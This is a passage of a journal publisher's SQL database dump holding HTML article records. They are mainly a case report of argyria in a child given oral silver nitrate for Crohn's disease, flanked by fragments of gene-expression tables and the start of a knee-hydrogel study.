style=\"font-size:10.0pt\">1.856</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.152</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.897</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.487</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.947</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.156</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.960</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.229</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"7\" style=\"width:492.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Legend:</span></strong><span style=\"font-size:10.0pt\"> RQ=1 Negative control, RQ &le; 0.5 significant down regulation, RQ &ge; 2 significant up regulation</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4:</strong> miRNA and RNA gene expression after irradiation and treatment with Isopalmide<sup>&reg;</sup> 0.5%</span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-126</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-146a</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-21</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">CHUK</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">IKBKG</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">NFKB1</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">UVA</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.171</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.518</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.118</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.206</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.524</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.687</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.089</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.948</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.174</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ceramage<sup>&reg;</sup> Fluid Concentrate</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.353</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.384</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.237</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.598</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.492</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 1.045</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.116</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.450</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.470</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.185</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.592</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.009</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"7\" style=\"width:481.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Legend:</span></strong><span style=\"font-size:10.0pt\"> RQ=1 Negative control, RQ &le; 0.5 significant down regulation, RQ &ge; 2 significant up regulation</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 5:</strong> miRNA and RNA gene expression after irradiation and treatment with Ceramage<sup>&reg;</sup> Fluid Concentrate</span></p>\r\n\r\n<p>&nbsp;</p>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n','1546879073.pdf',NULL,'1546879075.jpg','',0,1,'2019-01-07 22:07:55','2019-01-07 23:24:38',1),(31,17,'20','2019','Argyria in a Pediatric Patient Ingesting Silver Nitrate','Christine Do1*, Taylor E Nickerson2, Alejandro Llanos-Chea2, Harland S Winter2','Case Report','Argyria-in-a-Pediatric-Patient-Ingesting-Silver-Nitrate','Argyria in a Pediatric Patient-Ingesting-Silver-Nitrate','Argyria-in-a-Pediatric-Patient Ingesting Silver Nitrate','Argyria-in-a-Pediatric-Patient-Ingesting-Silver-Nitrate','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Argyria in a Pediatric Patient Ingesting Silver Nitrate</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Christine Do1*, Taylor E Nickerson2, Alejandro Llanos-Chea2, Harland S Winter2</strong><br />\r\n1*Department of Pharmacy, Massachusetts General Hospital, USA<br />\r\n2Department of Pediatric Medicine, Massachusetts General Hospital, Harvard Medical School, USA<br />\r\n*Corresponding author: Christine Do, Department of Pharmacy, Massachusetts General Hospital, 55 Fruit Street, Boston, MA 02114, USA, Tel: +16177262502; Email: christinedo48@gmail.com<br />\r\nCitation: Do C, Nickerson TE, Llanos-Chea A, Winter H (2019) Argyria in a Pediatric Patient Ingesting Silver Nitrate. Ann Pediatr Child Care: APCC-100001.<br />\r\nReceived Date: 26 November, 2018; Accepted Date: 11 January, 2019; Published Date: 21 January, 2019</span></p>\r\n','<p><strong>1.Abstract</strong></p>\r\n\r\n<p>Historically used for its putative antimicrobial properties, chronic ingestion of silver can result in argyria, characterized by discoloration of skin and mucous membranes. We report the case of a pediatric patient with generalized argyria resulting from silver nitrate consumption as alternative treatment for Crohn&rsquo;s disease. Two years after ingestion stopped, serum silver levels remain elevated.</p>\r\n','<p><strong>2. Keywords:</strong> Blue; Child; Ingestion</p>\r\n\r\n<p><strong>3. Abbreviations</strong></p>\r\n\r\n<p>CD : Crohn&rsquo;s Disease</p>\r\n\r\n<p>FDA : Food and Drug Administration.<br />\r\n&nbsp;</p>\r\n\r\n<p><strong>4. Introduction</strong></p>\r\n\r\n<p>Oral silver preparations have historically been used for their antimicrobial properties; however, this was not without consequence. Avicenna (980-1037 AD) reported patients developing a bluish discoloration of the eyes associated with the ingestion of silver formulations. In 1840, the term argyria was introduced to describe this specific discoloration.1 We report the case of a 10-year-old boy with Crohn&rsquo;s Disease (CD) who developed generalized argyria following chronic silver ingestion.<br />\r\n&nbsp;</p>\r\n\r\n<p><strong>5. Case Presentation</strong><br />\r\nA 10-year-old Caucasian boy presented with perianal fistula and poor weight gain and was diagnosed with ileocolonic CD.He was treated with oral azathioprine which was stopped due to leukopenia. He had no immunizations after one year of age and his family sought alternative medical and nutritional therapies. He was a chronically ill-appearing and pale boy, with a blue skin discoloration of his face. In addition to metronidazole, naltrexone, and homeopathic remedies, his parents had been giving him silver nitrate solution (600 parts-per-million, marketed for topical use) at a dose of 2.5 mL by mouth three times a day for the past five years. The silver nitrate was purchased from an online distributor who specifically claimed that their formulation would not cause blue discoloration of the skin.<br />\r\nThe serum silver level was 257 ng/mL or 2382.5 nmol/L (normal range 0-14 ng/mL) and a diagnosis of generalized argyria was made. Silver nitrate was discontinued and two months later a repeat serum silver level was 105 ng/mL (973.4 nmol/L), but he continued to have a perioral bluish discoloration and a blue tinge of his face. One year later, the argyria had mostly resolved, but the silver level continued to be elevated. The serum silver level 20 months after stopping the silver nitrate remained elevated at 58 ng/mL (537.68 nmol/L) (Figure 1).</p>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p><strong>6. Review of Literature and Discussion</strong><br />\r\nThe historical use of silver has been documented in medical literature. Prior to the discovery of bacteria, silver vessels were used to carry water for Persian kings in the belief that the water would be kept fresher. In the 1880&rsquo;s, the obstetrician Karl S. Crede proposed the use of silver nitrate 1% eye drops in newborns to prevent gonorrheal ophthalmia. The therapy proved to be effective and the incidence decreased from 7.8% to 0.13% [5]. Silver nitrate eye drops were subsequently advocated as a treatment choice by the United States Centers for Disease Control and the American Academy of Pediatrics and mandated by state law throughout most of the United States up until the 1970&rsquo;s to prevent gonorrheal ophthalmia in neonates [6]. Despite its antimicrobial properties when applied topically, today silver is considered by the Food and Drug Administration (FDA) as a &ldquo;nonessential mineral that has no known physiological functions or benefits when taken orally&rdquo; [7].<br />\r\nThe use of silver preparations eventually resulted in a unique adverse effect. Argyria originates from the Latin word for silver, argentum, and is characterized by bluish-gray to slate-gray discoloration of tissues caused by deposits of silver granules in the skin and mucous membranes. Argyria presents in two forms: generalized or localized. Generalized argyria may result from silver absorption through mucosal membranes, injection, inhalation due to occupational exposure, or ingestion; whereas, localized argyria stems mainly from external contact through the skin and may also result in discoloration of the fingernails, conjunctival membranes, and/or the oral mucosa [1].<br />\r\nWhile argyria is identified by particulate silver accumulation in skin and mucous membranes, other tissues may also be affected. Autopsies of adult patients demonstrated granular deposits of silver within the epidermis, sweat ducts, pituitary gland, myocardium, liver, spleen, adrenals, prostate, thyroid, kidneys, and gray matter of the cerebrum [8,9]. A biopsy of the colonic mucosa in a 73-year-old male presenting with argyria and a 5-year history of colloidal silver ingestion revealed silver granules in the lamina propria and basement membrane of the duodenal epithelium [10]. Most reports describing argyria due to chronic silver consumption are of adults [1,9-24]. Of the few reported children with argyria was an 11-year-old boy with cystic fibrosis who was given colloidal silver to treat his lung disease. His serum silver concentration at the time of argyria diagnosis was 32 ng/mL (296.7 nmol/L), with a follow-up level of 2.1 ng/mL (19.5 nmol/L) nine months after discontinuation. The skin discoloration had resolved [25]. It seems that argyria can persist despite even lower blood concentrations of silver: an adult male with discoloration of the skin and nailbeds had a serum level of just 8.3 ng/mL (76.9 nmol/L) [23]. The trend of silver excretion from the body is not well known. Most reports describe patients with argyria with a single serum silver level, but there are two reports of patients with multiple levels [24,25].<br />\r\nThe lack of evidence regarding oral use of silver products resulted in warnings for disease treatment. In 1975, the United States Pharmacopeia and the National Formulary removed colloidal silver products from their guidebooks, and Goodman and Gillman: The Pharmacological Basis of Therapeutics 1980 edition stated that the &ldquo;indiscriminate use of colloidal silver solutions&hellip;probably does more harm than good&rdquo; [26]. In 1999, the FDA issued a &ldquo;final rule establishing that all over-the-counter drug products containing colloidal silver ingredients or silver salts for internal or external use are not recognized as safe and effective and are misbranded&rdquo; [27]. A decade later, the FDA released a consumer advisory warning describing the risks of argyria associated with the use of silver-containing products, adding that silver supplements may interfere with the proper absorption of certain drugs [7]. Currently, the only FDA-approved silver product is silver sulfadiazine 1% topical cream, a prescription drug for the prevention and treatment of wound infections in second and third degree burns [28].<br />\r\nDespite these public alerts, the Internet serves as a means for proprietors to make exaggerated claims regarding the medicinal benefits of silver preparations without revealing potential side effects of their products [2]. The FDA and Federal Trade Commission sent warnings to companies who exert false claims that silver &ldquo;treats&rdquo;, &ldquo;cures&rdquo;, or &ldquo;prevents&rdquo; disease, yet these businesses have found ways to avoid responsibility by marketing the products as &ldquo;dietary supplements&rdquo;, a category that allows the product to be legally recognized as intended for oral ingestion by The Dietary Supplement Health and Education Act [2,27]. Silver products for oral administration continue to be sold on the Internet,&nbsp;claiming to treat over 600 different diseases and disease-causing pathogens [26,27]. With the recent rise in silver use, the recurrence of argyria may yet again become a familiar clinical diagnosis.<br />\r\nSilver nitrate was given orally with the unsubstantiated belief that it was preventing and alleviating flares of CD. Elevated serum silver levels decreased upon discontinuation, yet after nearly two years have not returned to the normal range. Despite the distributor&rsquo;s claims that their specific formulation &ldquo;won&rsquo;t turn you blue&rdquo;[29], the patient&rsquo;s generalized argyria has persisted.</p>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p><strong>7. Conclusion</strong><br />\r\nWe report generalized argyria resulting from the chronic ingestion of silver nitrate solution administered as an alternative treatment for inflammatory bowel disease. Information on the Internet may not be evidence-based leading to the use of therapies that are unproven to be effective. Increased awareness about parental practices regarding unregulated products and more stringent regulations about Internet content are needed.</p>\r\n','<ol>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Wadhera A, Fung M (2005) Systemic argyria associated with ingestion 1. of colloidal silver. Dermatol Online J 11: 12.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Gaslin MT, Rubin C, Pribitkin EA (2008) Silver nasal sprays: mislead2. ing internet marketing. Ear Nose Throat J87: 217-220.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Drake PL, Hazelwood KJ (2005) Exposure-related health effects of 3. silver and silver compounds: a review. Ann Occup Hyg 49: 575-585.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Lewis N, Kolimarala V, Lander A (2010) Conservative management of 4. exomphalos major with silver dressings: are they safe? J Pediatr Surg 45: 2438-2439.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Alexander JW (2009) History of the medical use of silver. Surg Infectv 5. 10: 289-292.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Barillo DJ, Marx DE (2014) Silver in medicine: a brief history BC 335 6. to present. Burns 40: 3-8.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Food and Drug Administration (2009) Safety alerts &amp; advisories - con7. sumer advisory: dietary supplements containing silver may cause permanent discoloration of skin and mucous membranes (argyria). U S Food and Drug Administration Home Page. Center for Food Safety and Applied Nutrition.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Mirsattari SM, Hammond RR, Sharpe MD, Leung FY, Young GB (2004) 8. Myoclonic status epilepticus following repeated oral ingestion of colloidal silver. Neurology 62: 1408-1410.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Prescott RJ, Wells S (1994) Systemic argyria. J ClinPathol 47: 556-9. 557.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Kwon HB, Lee JH, Lee SH, Lee AY, Choi JS, et al. (2009) A case of 10. argyria following colloidal silver ingestion. Ann Dermatol 21: 308-310.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Kubba A, Kubba R, Batrani M, Pal T (2013)Argyria an unrecognized 11. cause of cutaneous pigmentation in Indian patients: a case series and</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Amber KT, Winslow CY, Styperek A, Schwartz PH, Shiman MI, et al. 12. (2014) Blue skin. Int J Dermato l53: 275-276.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Butzmann CM, Technau-Hafsi K, Bross F (2015) &ldquo;Silver man&rdquo; argyria 13. of the skin after ingestion of a colloidal silver solution. J DtschDermatolGes 13: 1030-1032.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Bowden LP, Royer MC, Hallman JR, Lewin-Smith M, Lupton GP (2011) 14. Rapid onset of argyria induced by a silver-containing dietary supplement. J CutanPatho l38: 832-835.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Chang ALS, Khosravi V, Egbert B (2006) A case of argyria after col15. loidal silver ingestion. J CutanPathol 33: 809-811.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Chhabra L, Sareen P, Trivedi N (2013) The silver man: a rare cos16. metic complication of alternative medicine. BMJ Case Rep 2013: bcr2013009728.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Chung I, Lee M, Shin D, Jung H (2010) Three systemic argyria cases 17. after ingestion of colloidal silver solution. Int J Dermatol 49: 1175-1177.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Gulseren D, Arzberger E, Cerroni L, Hofmann-Wellenhof R, Richtig E 18. (2017) Reflectance confocal microscopy and dermatopathologic findings of cutaneous argyria after colloidal silver ingestion. J EurAcadDermatolVenereol 31: 178-179.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Han TY, Chang HS, Lee HK, Son SJ (2011) Successful treatment of 19. argyria using a low-fluence Q-switched 1064-nm Nd:YAG laser. Int J Dermatol50:751-753.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Molina-Hernandez AL, Diaz-Gonzalez JM, Saeb-Lima M, Dominquez-20. Cherit J (2015)Argyria after silver nitrate intake: case report and brief review of the literature. Indian J Dermatol 60: 520-527.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Rhee DY, Chang SE, Lee MW, Choi JH, Moon KC, et al. (2008) Treat21. ment of argyria after colloidal silver ingestion using Q-switched 1,064-nm Nd:YAG laser. DermatolSurg 34: 1427-1430.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Saager RB, Hassan KM, Kondru C, Durkin AJ, Kelly KM (2013) Quan22. titative near infrared spectroscopic analysis of Q-switched Nd:YAG treatment of generalized argyria. Lasers Surg Med 45: 15-21.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">White JM, Powell AM, Brady K, Russell-Jones R (2003)Severe gener23. alized argyria secondary to ingestion of colloidal silver protein. ClinExpDermatol 28: 254-256.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Kalouche H, Watson A, Routley D (2007) Blue lunulae: argyria and 24. hypercopprecaemia. Australas J Dermatol 48: 182-184.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Baker CD, Federico MJ, Accurso FJ (2007)Casereport: skindiscol25. orationfollowingadministration of colloidalsilver in cysticfibrosis. CurrOpinPediatr 19: 733-735.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Food and Drug Administration (1996) Over-the-counter drug products 26. containing colloidal silver ingredients or silver salts. Fed Regist 61: 53685-53688.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#0563c1\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Food and Drug Administration (1999) Over-the-counter drug prod27. ucts containing colloidal silver ingredients or silver salts. Department of Health and Human Services (HHS), Public Health Service (PHS), Food and Drug Administration (FDA). Final rule. Fed Regist 64: 44653-44658.</a></span></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/New%20Rich%20Text%20Document.rtf\">Drugs@FDA: FDA Approved Drug Products28. .</a></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Angstrom Silver. Angstrom Silver, The Smallest &amp; Strongest Liquid Sil29. ver Supplement.</span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/591886f0.jpg\" /></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"MsoTableGrid\" style=\"border-collapse:collapse; border:solid windowtext 1.0pt\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:244.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Potential Sources of Exposure to Silver[1-4]</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:244.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Non-FDA approved dietary supplements and nasal sprays containing silver</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Occupational exposure: silver mining, silver refining, silver reclamation, jewelry production, photographs</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Jewelry</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Topical silver sulfadiazine</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Dental amalgams</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Medical instruments</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Silverware utensil</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Citation: Do C, Nickerson TE, Llanos-Chea A, Winter H (2019) Argyria in a Pediatric Patient Ingesting Silver Nitrate. Ann Pediatr Child Care: APCC-100001.</span></span></p>\r\n','','1548094037.pdf',NULL,'1548094037.jpg','',0,1,'2019-01-21 23:37:16','2019-01-22 12:34:44',1),(32,22,'20','2019','Safety of Intra-Articular Polyacrylamide Hydrogel for the Treatment of Knee Osteoarthritis Symptoms: A Retrospective Case Series','Anders Overgaard, Henning Bliddal*, Marius Henriksen','Research Article','Safety-of-Intra-Articular-Polyacrylamide-Hydrogel-for-the-Treatment-of-Knee-Osteoarthritis-Symptoms-A-Retrospective-Case-Series','Safety of Intra Articular Polyacrylamide Hydrogel-for-the-Treatment-of-Knee-Osteoarthritis-Symptoms-A-Retrospective-Case-Series','Safety-of-Intra-Articular-Polyacrylamide-Hydrogel-for-the-Treatment of Knee Osteoarthritis Symptoms A Retrospective-Case-Series','Safety-of-Intra-Articular-Polyacrylamide-Hydrogel-for-the-Treatment-of-Knee-Osteoarthritis-Symptoms-A-Retrospective-Case-Series','<h2 style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Clinical Orthopedics Advanced Research Journal</span></h2>\r\n\r\n<h3 style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Safety of Intra-Articular Polyacrylamide Hydrogel for the Treatment of Knee Osteoarthritis Symptoms: A Retrospective Case Series</span></h3>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Anders Overgaard, Henning Bliddal<sup>*</sup>, Marius Henriksen</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The Parker Institute, Copenhagen University Hospital Fredriksberg, Copenhagen, Denmark </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author: </strong>Henning Bliddal, The Parker Institute, Copenhagen University Hospital Fredriksberg, Copenhagen, Denmark, Tel: +4538164155, Email: <a 